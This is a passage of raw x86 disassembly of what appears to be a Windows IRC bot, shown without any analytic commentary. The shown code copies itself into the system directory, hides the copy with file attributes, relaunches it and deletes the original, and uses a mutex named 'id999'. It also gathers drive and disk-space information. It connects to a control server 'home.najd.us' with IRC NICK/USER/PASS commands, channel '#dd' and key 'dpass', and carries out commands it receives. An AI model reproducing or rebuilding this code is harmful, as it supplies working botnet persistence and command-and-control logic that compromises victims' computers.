sub_40C18B+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_40C1C2: ; CODE XREF: sub_40C18B+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_40C1C8: ; CODE XREF: sub_40C18B+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_40C1CE: ; CODE XREF: sub_40C18B+Dj mov eax, offset aUnknown ; "Unknown" retn sub_40C18B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C1D4 proc near ; CODE XREF: sub_40C21C+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_43C450 test eax, eax jz short loc_40C209 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; GetDiskFreeSpaceExA loc_40C209: ; CODE XREF: sub_40C1D4+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_40C1D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C21C proc near ; CODE XREF: sub_40A9D8+1F3p ; sub_40C337+17p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_40C1D4 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_40C2F4 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_40C2F4 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_40C2F4 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_417770 push edx push eax call sub_40C10D mov edi, offset aSkb ; "%sKB" push eax mov esi, 80h push edi lea eax, [ebp+var_198] push esi push eax call sub_41588A add esp, 18h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_417770 push edx push eax call sub_40C10D push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41588A add esp, 18h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_417770 push edx push eax call sub_40C10D push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41588A add esp, 18h pop ebx jmp short loc_40C323 ; --------------------------------------------------------------------------- loc_40C2F4: ; CODE XREF: sub_40C21C+2Cj ; sub_40C21C+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_415316 lea eax, [ebp+var_118] push esi push eax call sub_415316 lea eax, [ebp+var_98] push esi push eax call sub_415316 add esp, 18h loc_40C323: ; CODE XREF: sub_40C21C+D6j mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_40C21C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C337 proc near ; CODE XREF: sub_40C409+17p ; sub_40C409+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_40C21C push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_415730 add esp, 10h test eax, eax jnz short loc_40C3AA push ebx push ebx call sub_40C18B pop ecx push eax push offset dword_42C1E8 lea eax, [ebp+var_500] push 200h push eax call sub_41588A add esp, 14h jmp short loc_40C3DE ; --------------------------------------------------------------------------- loc_40C3AA: ; CODE XREF: sub_40C337+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_40C18B pop ecx push eax push offset dword_42C198 lea eax, [ebp+var_500] push 200h push eax call sub_41588A add esp, 20h loc_40C3DE: ; CODE XREF: sub_40C337+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 lea eax, [ebp+var_500] push eax call sub_40B078 add esp, 18h pop edi pop esi pop ebx leave retn sub_40C337 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C409 proc near ; CODE XREF: sub_40CD3A+51BEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_40C42A push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40C337 add esp, 10h jmp short loc_40C489 ; --------------------------------------------------------------------------- loc_40C42A: ; CODE XREF: sub_40C409+9j push esi push edi push ebx push ebx call dword_43C4C4 ; GetLogicalDriveStringsA lea esi, [eax+2] push esi call sub_415BE9 pop ecx mov edi, eax push edi push esi call dword_43C4C4 ; GetLogicalDriveStringsA cmp [edi], bl mov esi, edi jz short loc_40C480 loc_40C44E: ; CODE XREF: sub_40C409+75j push offset aA_1 ; "A:\\" push esi call sub_415730 pop ecx test eax, eax pop ecx jz short loc_40C471 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40C337 add esp, 10h loc_40C471: ; CODE XREF: sub_40C409+54j push esi call sub_415B10 lea esi, [esi+eax+1] pop ecx cmp [esi], bl jnz short loc_40C44E loc_40C480: ; CODE XREF: sub_40C409+43j push edi call sub_415C9B pop ecx pop edi pop esi loc_40C489: ; CODE XREF: sub_40C409+1Fj pop ebx pop ebp retn sub_40C409 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C48C proc near ; DATA XREF: sub_40C574+11o var_2B8 = dword ptr -2B8h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_4416D4 call dword_43C5EC ; closesocket call sub_414F9D call dword_43C4B4 ; WSACleanup call dword_43C4B4 ; WSACleanup mov ebx, dword_421060 push 64h call ebx ; Sleep xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_415390 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_415390 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_43B188 mov [ebp+var_28], 1 mov [ebp+var_24], di call dword_421058 ; GetSystemDirectoryA lea eax, [ebp+var_158] push esi push eax push edi call dword_42107C ; GetModuleFileNameA lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call dword_4210EC ; CreateProcessA test eax, eax jz short loc_40C551 push 64h call ebx ; Sleep push [ebp+var_10] mov esi, dword_42106C call esi ; CloseHandle push [ebp+var_C] call esi ; CloseHandle loc_40C551: ; CODE XREF: sub_40C48C+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_440944 mov eax, [esp+2B8h+var_2B8] mov large fs:0, eax add esp, 8 push edi call dword_421114 ; ExitProcess pop edi pop esi pop ebx sub_40C48C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C574 proc near ; CODE XREF: seg001:00417BE1p var_988 = byte ptr -988h var_884 = byte ptr -884h var_883 = byte ptr -883h var_6F4 = byte ptr -6F4h var_5F4 = byte ptr -5F4h var_4F0 = byte ptr -4F0h var_3F0 = byte ptr -3F0h var_2EC = byte ptr -2ECh var_1E8 = byte ptr -1E8h var_E4 = byte ptr -0E4h var_64 = dword ptr -64h var_58 = dword ptr -58h var_38 = dword ptr -38h var_34 = word ptr -34h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp+var_C], ebx mov [ebp+var_8], offset sub_40C48C push [ebp+var_8] push large dword ptr fs:0 mov large fs:0, esp cmp dword_42C254, ebx jz short loc_40C5AA call sub_409EBC loc_40C5AA: ; CODE XREF: sub_40C574+2Fj mov esi, dword_42104C call esi ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov dword_46A9B8, eax call esi ; GetTickCount push eax call sub_415368 pop ecx call sub_40891C push 2 call dword_43C600 ; SetErrorMode push 7530h push offset aId999 ; "id999" push ebx push ebx call dword_42112C ; CreateMutexA push eax call dword_421128 ; WaitForSingleObject cmp eax, 102h jnz short loc_40C5FE push 1 call dword_421114 ; ExitProcess loc_40C5FE: ; CODE XREF: sub_40C574+80j lea eax, [ebp+var_884] push eax push 202h call dword_43C4CC ; WSAStartup cmp eax, ebx mov [ebp+var_8], eax jnz loc_40CA4F cmp [ebp+var_884], 2 jnz loc_40CA49 xor eax, eax mov al, [ebp+var_883] cmp al, 2 jnz loc_40CA49 mov esi, 104h lea eax, [ebp+var_3F0] push esi push eax call dword_421058 ; GetSystemDirectoryA lea eax, [ebp+var_2EC] push esi push eax push ebx call dword_4210C8 ; GetModuleHandleA push eax call dword_42107C ; GetModuleFileNameA lea eax, [ebp+var_4F0] push eax lea eax, [ebp+var_6F4] push eax push ebx lea eax, [ebp+var_2EC] push ebx push eax call sub_4171E8 lea eax, [ebp+var_4F0] push eax lea eax, [ebp+var_6F4] push eax push offset aSS_2 ; "%s%s" lea eax, [ebp+var_5F4] push esi push eax call sub_41588A lea eax, [ebp+var_3F0] push eax lea eax, [ebp+var_2EC] push eax call sub_4158E0 add esp, 30h test eax, eax jnz loc_40C852 cmp dword_46AB24, ebx mov esi, offset byte_42C2BC jz short loc_40C6F9 push esi xor edi, edi call sub_415B10 sub eax, 4 pop ecx jz short loc_40C6F9 loc_40C6D6: ; CODE XREF: sub_40C574+183j call sub_415372 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_42C2BC[edi], dl inc edi call sub_415B10 sub eax, 4 pop ecx cmp edi, eax jb short loc_40C6D6 loc_40C6F9: ; CODE XREF: sub_40C574+152j ; sub_40C574+160j lea eax, [ebp+var_3F0] push esi push eax lea eax, [ebp+var_1E8] push offset aSS_3 ; "%s\\%s" push eax call sub_415316 add esp, 10h lea eax, [ebp+var_1E8] push eax call dword_421094 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_40C739 lea eax, [ebp+var_1E8] push 80h push eax call dword_4210F4 ; SetFileAttributesA loc_40C739: ; CODE XREF: sub_40C574+1B1j mov esi, dword_421124 xor edi, edi jmp short loc_40C765 ; --------------------------------------------------------------------------- loc_40C743: ; CODE XREF: sub_40C574+204j call dword_421088 ; RtlGetLastWin32Error cmp edi, ebx jnz short loc_40C77A cmp eax, 20h jz short loc_40C757 cmp eax, 5 jnz short loc_40C77A loc_40C757: ; CODE XREF: sub_40C574+1DCj xor edi, edi push 3A98h inc edi call dword_421060 ; Sleep loc_40C765: ; CODE XREF: sub_40C574+1CDj lea eax, [ebp+var_1E8] push ebx push eax lea eax, [ebp+var_2EC] push eax call esi ; CopyFileA test eax, eax jz short loc_40C743 loc_40C77A: ; CODE XREF: sub_40C574+1D7j ; sub_40C574+1E1j lea eax, [ebp+var_1E8] push eax call sub_409C6E pop ecx lea eax, [ebp+var_1E8] push 7 push eax call dword_4210F4 ; SetFileAttributesA push 10h lea eax, [ebp+var_1C] push ebx push eax call sub_415390 push 44h lea eax, [ebp+var_64] pop esi push esi push ebx push eax call sub_415390 mov [ebp+var_64], esi xor esi, esi inc esi add esp, 18h mov [ebp+var_58], offset byte_43B188 mov [ebp+var_38], esi mov [ebp+var_34], bx call dword_421120 ; GetCurrentProcessId push eax push esi push 100000h call dword_42111C ; OpenProcess lea ecx, [ebp+var_2EC] push ecx push eax lea eax, [ebp+var_1E8] push eax lea eax, [ebp+var_988] push offset dword_433244 push eax call sub_415316 add esp, 14h lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_64] push eax lea eax, [ebp+var_3F0] push eax push ebx push 28h push esi push ebx lea eax, [ebp+var_988] push ebx push eax lea eax, [ebp+var_1E8] push eax call dword_4210EC ; CreateProcessA test eax, eax jz short loc_40C852 push 0C8h call dword_421060 ; Sleep push [ebp+var_1C] mov esi, dword_42106C call esi ; CloseHandle push [ebp+var_18] call esi ; CloseHandle call dword_43C4B4 ; WSACleanup push ebx call dword_421114 ; ExitProcess loc_40C852: ; CODE XREF: sub_40C574+141j ; sub_40C574+2B4j cmp dword_46B650, 2 jle short loc_40C89E mov eax, dword_46B654 push dword ptr [eax+4] call sub_41587F pop ecx mov esi, eax push 0FFFFFFFFh push esi call dword_421128 ; WaitForSingleObject push esi call dword_42106C ; CloseHandle mov eax, dword_46B654 cmp [eax+8], ebx jz short loc_40C89E push 7D0h call dword_421060 ; Sleep mov eax, dword_46B654 push dword ptr [eax+8] call dword_421118 ; DeleteFileA loc_40C89E: ; CODE XREF: sub_40C574+2E5j ; sub_40C574+30Fj cmp dword_42C25C, ebx jz short loc_40C8BB cmp dword_43C620, ebx jnz short loc_40C8BB lea eax, [ebp+var_5F4] push eax call sub_40B2B9 pop ecx loc_40C8BB: ; CODE XREF: sub_40C574+330j ; sub_40C574+338j lea eax, [ebp+var_E4] push offset dword_433218 push eax call sub_415316 push ebx lea eax, [ebp+var_E4] push ebx push eax call sub_414DDA lea eax, [ebp+var_E4] push eax call sub_40B078 push 0B80h push ebx push offset dword_440948 call sub_415390 call sub_415372 push 7Fh push offset aHome_najd_us ; "home.najd.us" push offset dword_46A9C4 mov dword_46AB34, ebx call sub_416BE0 mov eax, dword_42C240 push 3Fh mov edi, offset dword_46AA44 push offset aDd_0 ; "#dd" push edi mov dword_46AB14, eax call sub_416BE0 push 3Fh mov esi, offset dword_46AA84 push offset aDpass ; "dpass" push esi call sub_416BE0 add esp, 48h mov dword_46AB18, ebx loc_40C949: ; CODE XREF: sub_40C574+47Bj ; sub_40C574+486j ... mov [ebp+var_4], ebx loc_40C94C: ; CODE XREF: sub_40C574+42Fj cmp dword_43C638, ebx jnz short loc_40C96A lea eax, [ebp+var_20] push ebx push eax call dword_43C498 ; InternetGetConnectedState test eax, eax jnz short loc_40C96A push 7530h jmp short loc_40C996 ; --------------------------------------------------------------------------- loc_40C96A: ; CODE XREF: sub_40C574+3DEj ; sub_40C574+3EDj push offset dword_46A9C0 mov dword_46AB30, ebx call sub_40CA58 cmp eax, 2 mov [ebp+var_8], eax jz loc_40CA44 cmp dword_46AB30, ebx jz short loc_40C991 dec [ebp+var_4] loc_40C991: ; CODE XREF: sub_40C574+418j push 0BB8h loc_40C996: ; CODE XREF: sub_40C574+3F4j call dword_421060 ; Sleep inc [ebp+var_4] cmp [ebp+var_4], 6 jl short loc_40C94C cmp [ebp+var_8], 2 jz loc_40CA44 cmp [ebp+var_C], ebx jz short loc_40C9F4 push 7Fh push offset aHome_najd_us ; "home.najd.us" push offset dword_46A9C4 call sub_416BE0 mov eax, dword_42C240 push 3Fh push offset aDd_0 ; "#dd" push edi mov dword_46AB14, eax call sub_416BE0 push 3Fh push offset aDpass ; "dpass" push esi call sub_416BE0 add esp, 24h mov [ebp+var_C], ebx jmp loc_40C949 ; --------------------------------------------------------------------------- loc_40C9F4: ; CODE XREF: sub_40C574+43Ej cmp byte_42C2A0, bl jz loc_40C949 push 7Fh push offset byte_42C2A0 push offset dword_46A9C4 call sub_416BE0 mov eax, dword_42C244 push 3Fh push offset dword_42C2B0 push edi mov dword_46AB14, eax call sub_416BE0 push 3Fh push offset aDpass_0 ; "dpass" push esi call sub_416BE0 add esp, 24h mov [ebp+var_C], 1 jmp loc_40C949 ; --------------------------------------------------------------------------- loc_40CA44: ; CODE XREF: sub_40C574+40Cj ; sub_40C574+435j call sub_414F9D loc_40CA49: ; CODE XREF: sub_40C574+AEj ; sub_40C574+BEj call dword_43C4B4 ; WSACleanup loc_40CA4F: ; CODE XREF: sub_40C574+A1j pop edi pop esi xor eax, eax pop ebx leave retn 10h sub_40C574 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA58 proc near ; CODE XREF: sub_40C574+401p ; DATA XREF: sub_40CD3A+393Fo var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_40CA7D: ; CODE XREF: sub_40CA58+E6j ; sub_40CA58+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_415390 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_43C554 ; ntohs mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_409F7A test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40CBBA push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_415390 push 0 lea eax, [ebp+var_2C] push dword_46AB28 push dword_42C268 push eax call sub_414278 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_4416E0 push edi push eax call sub_416BE0 add esp, 28h push 6 push 1 push 2 call dword_43C5D4 ; socket mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_4416D4[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_43C4FC ; connect cmp eax, 0FFFFFFFFh jnz short loc_40CB43 push esi call dword_43C5EC ; closesocket call sub_409FA3 push 7D0h loc_40CB38: ; CODE XREF: sub_40CA58+146j call dword_421060 ; Sleep jmp loc_40CA7D ; --------------------------------------------------------------------------- loc_40CB43: ; CODE XREF: sub_40CA58+CDj lea eax, [ebp+var_18C] push eax push offset dword_433250 call sub_40B0EC push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_40CBBE add esp, 28h mov edi, eax push esi call dword_43C5EC ; closesocket test edi, edi jz loc_40CA7D cmp edi, 1 jnz short loc_40CBA0 push 0DBBA0h jmp short loc_40CB38 ; --------------------------------------------------------------------------- loc_40CBA0: ; CODE XREF: sub_40CA58+13Fj cmp edi, 2 jnz loc_40CA7D push [ebp+var_34] call sub_4150F0 pop ecx push edi pop eax loc_40CBB4: ; CODE XREF: sub_40CA58+164j pop edi pop esi leave retn 4 ; --------------------------------------------------------------------------- loc_40CBBA: ; CODE XREF: sub_40CA58+5Aj xor eax, eax jmp short loc_40CBB4 sub_40CA58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CBBE proc near ; CODE XREF: sub_40CA58+123p var_1A10 = byte ptr -1A10h var_A10 = byte ptr -0A10h var_240 = byte ptr -240h var_1A0 = byte ptr -1A0h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A10h call sub_415B90 push ebx push esi push edi xor ebx, ebx push 2 mov [ebp+var_8], ebx lea eax, [ebp+var_1A0] pop ecx loc_40CBDC: ; CODE XREF: sub_40CBBE+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_40CBDC cmp byte_46AB2C, bl jz short loc_40CC03 push offset byte_46AB2C push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_412B8B add esp, 0Ch loc_40CC03: ; CODE XREF: sub_40CBBE+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_414278 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_415316 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_43C5A4 ; send cmp eax, 0FFFFFFFFh jnz short loc_40CC6D push [ebp+arg_0] call dword_43C5EC ; closesocket push 1388h call dword_421060 ; Sleep loc_40CC66: ; CODE XREF: sub_40CBBE+D9j ; sub_40CBBE+153j xor eax, eax loc_40CC68: ; CODE XREF: sub_40CBBE+16Fj ; sub_40CBBE+177j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40CC6D: ; CODE XREF: sub_40CBBE+92j ; sub_40CBBE+F8j ... mov esi, 1000h lea eax, [ebp+var_1A10] push esi push ebx push eax call sub_415390 add esp, 0Ch lea eax, [ebp+var_1A10] push ebx push esi push eax push [ebp+arg_0] call dword_43C56C ; recv test eax, eax jle short loc_40CC66 lea eax, [ebp+var_A10] push eax lea eax, [ebp+var_1A10] push eax call sub_409965 pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_40CC6D lea edi, [ebp+var_A10] loc_40CCBE: ; CODE XREF: sub_40CBBE+165j xor esi, esi inc esi loc_40CCC1: ; CODE XREF: sub_40CBBE+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_240] push eax lea eax, [ebp+var_1A0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_40CD3A add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_40CD04 push 7D0h call dword_421060 ; Sleep jmp short loc_40CCC1 ; --------------------------------------------------------------------------- loc_40CD04: ; CODE XREF: sub_40CBBE+137j cmp esi, 0FFFFFFFDh jz short loc_40CD32 cmp esi, 0FFFFFFFEh jz short loc_40CD2A cmp esi, 0FFFFFFFFh jz loc_40CC66 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_40CCBE jmp loc_40CC6D ; --------------------------------------------------------------------------- loc_40CD2A: ; CODE XREF: sub_40CBBE+14Ej xor eax, eax inc eax jmp loc_40CC68 ; --------------------------------------------------------------------------- loc_40CD32: ; CODE XREF: sub_40CBBE+149j push 2 pop eax jmp loc_40CC68 sub_40CBBE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD3A proc near ; CODE XREF: sub_40CBBE+12Ap var_27D4 = byte ptr -27D4h var_23D4 = byte ptr -23D4h var_21D4 = byte ptr -21D4h var_1FD4 = byte ptr -1FD4h var_1ED4 = byte ptr -1ED4h var_1DD4 = byte ptr -1DD4h var_1DD0 = byte ptr -1DD0h var_1CD0 = dword ptr -1CD0h var_1CCC = dword ptr -1CCCh var_1CC8 = byte ptr -1CC8h var_1C48 = byte ptr -1C48h var_1BC8 = byte ptr -1BC8h var_1B48 = byte ptr -1B48h var_1AC8 = byte ptr -1AC8h var_1A48 = dword ptr -1A48h var_1A44 = dword ptr -1A44h var_1A40 = dword ptr -1A40h var_1A3C = dword ptr -1A3Ch var_1A38 = byte ptr -1A38h var_19B8 = byte ptr -19B8h var_1938 = byte ptr -1938h var_18B8 = byte ptr -18B8h var_1838 = dword ptr -1838h var_1834 = dword ptr -1834h var_1830 = dword ptr -1830h var_182C = dword ptr -182Ch var_1828 = dword ptr -1828h var_1824 = byte ptr -1824h var_17A4 = byte ptr -17A4h var_1724 = byte ptr -1724h var_16A4 = dword ptr -16A4h var_16A0 = dword ptr -16A0h var_169C = dword ptr -169Ch var_1698 = dword ptr -1698h var_1694 = byte ptr -1694h var_1690 = byte ptr -1690h var_1590 = byte ptr -1590h var_158C = byte ptr -158Ch var_150C = byte ptr -150Ch var_14CC = byte ptr -14CCh var_143C = dword ptr -143Ch var_1438 = dword ptr -1438h var_1434 = dword ptr -1434h var_1430 = dword ptr -1430h var_142C = dword ptr -142Ch var_1428 = byte ptr -1428h var_1424 = dword ptr -1424h var_1420 = byte ptr -1420h var_13A0 = byte ptr -13A0h var_1324 = byte ptr -1324h var_129C = byte ptr -129Ch var_1220 = dword ptr -1220h var_121C = dword ptr -121Ch var_1218 = dword ptr -1218h var_1214 = byte ptr -1214h var_1198 = dword ptr -1198h var_1194 = dword ptr -1194h var_1190 = dword ptr -1190h var_118C = dword ptr -118Ch var_1188 = dword ptr -1188h var_1184 = byte ptr -1184h var_1104 = byte ptr -1104h var_1084 = byte ptr -1084h var_1004 = dword ptr -1004h var_1000 = dword ptr -1000h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = dword ptr -0FECh var_FE8 = dword ptr -0FE8h var_FE0 = byte ptr -0FE0h var_F60 = byte ptr -0F60h var_EE0 = dword ptr -0EE0h var_EDC = dword ptr -0EDCh var_ED8 = dword ptr -0ED8h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC0 = dword ptr -0EC0h var_EBC = byte ptr -0EBCh var_DB8 = dword ptr -0DB8h var_DB4 = byte ptr -0DB4h var_D34 = byte ptr -0D34h var_C35 = byte ptr -0C35h var_C34 = byte ptr -0C34h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = dword ptr -0B2Ch var_B28 = dword ptr -0B28h var_B24 = dword ptr -0B24h var_B20 = dword ptr -0B20h var_B1C = dword ptr -0B1Ch var_B18 = dword ptr -0B18h var_B14 = dword ptr -0B14h var_B10 = byte ptr -0B10h var_A90 = dword ptr -0A90h var_A8C = byte ptr -0A8Ch var_A80 = byte ptr -0A80h var_A7C = byte ptr -0A7Ch var_A0C = byte ptr -0A0Ch var_98C = dword ptr -98Ch var_988 = dword ptr -988h var_984 = dword ptr -984h var_980 = dword ptr -980h var_97C = byte ptr -97Ch var_970 = byte ptr -970h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = dword ptr -860h var_858 = byte ptr -858h var_84C = dword ptr -84Ch var_848 = byte ptr -848h var_844 = byte ptr -844h var_748 = byte ptr -748h var_740 = byte ptr -740h var_6C8 = dword ptr -6C8h var_6C0 = dword ptr -6C0h var_6BC = dword ptr -6BCh var_6B8 = dword ptr -6B8h var_6B4 = dword ptr -6B4h var_6B0 = dword ptr -6B0h var_6AC = dword ptr -6ACh var_6A8 = byte ptr -6A8h var_628 = byte ptr -628h var_5A8 = dword ptr -5A8h var_5A4 = dword ptr -5A4h var_5A0 = dword ptr -5A0h var_59C = dword ptr -59Ch var_598 = dword ptr -598h var_594 = dword ptr -594h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_588 = byte ptr -588h var_578 = byte ptr -578h var_4F8 = byte ptr -4F8h var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_45C = dword ptr -45Ch var_458 = dword ptr -458h var_450 = dword ptr -450h var_44C = dword ptr -44Ch var_448 = dword ptr -448h var_444 = dword ptr -444h var_43C = byte ptr -43Ch var_420 = dword ptr -420h var_41C = byte ptr -41Ch var_418 = dword ptr -418h var_414 = byte ptr -414h var_408 = dword ptr -408h var_404 = byte ptr -404h var_39C = byte ptr -39Ch var_394 = dword ptr -394h var_390 = dword ptr -390h var_38C = dword ptr -38Ch var_388 = dword ptr -388h var_384 = dword ptr -384h var_380 = dword ptr -380h var_37C = dword ptr -37Ch var_378 = dword ptr -378h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = byte ptr -364h var_33C = byte ptr -33Ch var_31C = dword ptr -31Ch var_2F0 = dword ptr -2F0h var_2EC = dword ptr -2ECh var_2E8 = dword ptr -2E8h var_2E4 = dword ptr -2E4h var_2E0 = dword ptr -2E0h var_2DC = dword ptr -2DCh var_2D8 = byte ptr -2D8h var_D8 = dword ptr -0D8h var_D4 = dword ptr -0D4h var_D0 = word ptr -0D0h var_CE = word ptr -0CEh var_CC = dword ptr 